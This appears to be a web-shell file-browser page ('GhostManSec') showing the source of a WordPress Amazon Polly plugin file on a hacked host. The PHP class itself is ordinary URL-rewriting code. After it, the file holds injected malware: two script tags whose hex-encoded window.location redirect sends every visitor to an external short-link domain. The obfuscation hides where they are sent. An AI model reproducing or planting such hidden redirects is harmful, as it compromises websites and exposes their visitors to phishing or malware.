GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/plugins/amazon-polly/admin/class-url-rewriter.php
<?php

/**
 * This file defines the URL Rewriter class
 *
 *
 * @link       amazon.com
 * @since      4.0.0
 *
 * @package    Amazonpolly
 * @subpackage Amazonpolly/admin
 */

class AmazonAI_UrlRewriter
{
    /**
    * Function to add Wordpress hooks for which content rendered by Wordpress is rewritten
     *
     *
     * @since           4.0.0
     */
    function define_url_rewrite_hooks() {
        add_filter('the_content',array($this,'rewrite_urls'),100);
        add_filter('post_thumbnail_html',array($this,'rewrite_urls'),100);
        add_filter('widget_text',array($this,'rewrite_urls'),100);
        add_filter('wp_get_attachment_link', array($this,'rewrite_urls'),100);
        add_filter('theme_root_uri',array($this,'rewrite_urls'),100);
        add_filter('plugins_url',array($this,'rewrite_urls'),100);
        add_filter('widget_text',array($this,'rewrite_urls'),100);
        add_filter('wp_get_attachment_link',array($this,'rewrite_urls'),100);
        add_filter('wp_get_attachment_thumb_file',array($this,'rewrite_urls'),100);
        add_filter('wp_get_attachment_thumb_url',array($this,'rewrite_urls'),100);
        add_filter('wp_get_attachment_url',array($this,'rewrite_urls'),100);
        add_filter('post_gallery',array($this,'rewrite_urls'),100);
        add_filter('bloginfo', array($this,'rewrite_urls'),100);
        add_filter('style_loader_src',array($this,'rewrite_urls'),100);
        add_filter('script_loader_src',array($this,'rewrite_urls'),100);
        add_filter('metaslider_resized_image_url',array($this,'rewrite_urls'),100);
    }

    /**
     * Replaces site URL with the alternate URL (CDN)
     * (Adopted from AWS CDN by WPAdmin)
     *
     * @param           string $content The content rendered by Wordpress which is rewritten to replace embedded URLs
     * @since           4.0.0
     */
    function rewrite_urls($content) {
        $olddomain = get_option('siteurl');
        $olddomain = preg_replace('#^https?://#', '', $olddomain);
        $newdomain = get_option('amazon_cf_alias');
        $newdomain = preg_replace('#^https?://#', '', $newdomain);

        if (is_admin_bar_showing()) {
            return $content;
        }
        if (stripos($_SERVER['REQUEST_URI'],".xml") == NULL) {
            $serverproto = "http";
            if (@$_SERVER['HTTPS'] == "on") {
                $serverproto = "https";
            }

            $old = $serverproto . "://" . $olddomain;
            $new = $newdomain;
            if ($new != "") {
                $new = $serverproto . "://" . $newdomain;
                $content = str_replace($old, $new, $content);
            }

        }
        return $content;
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>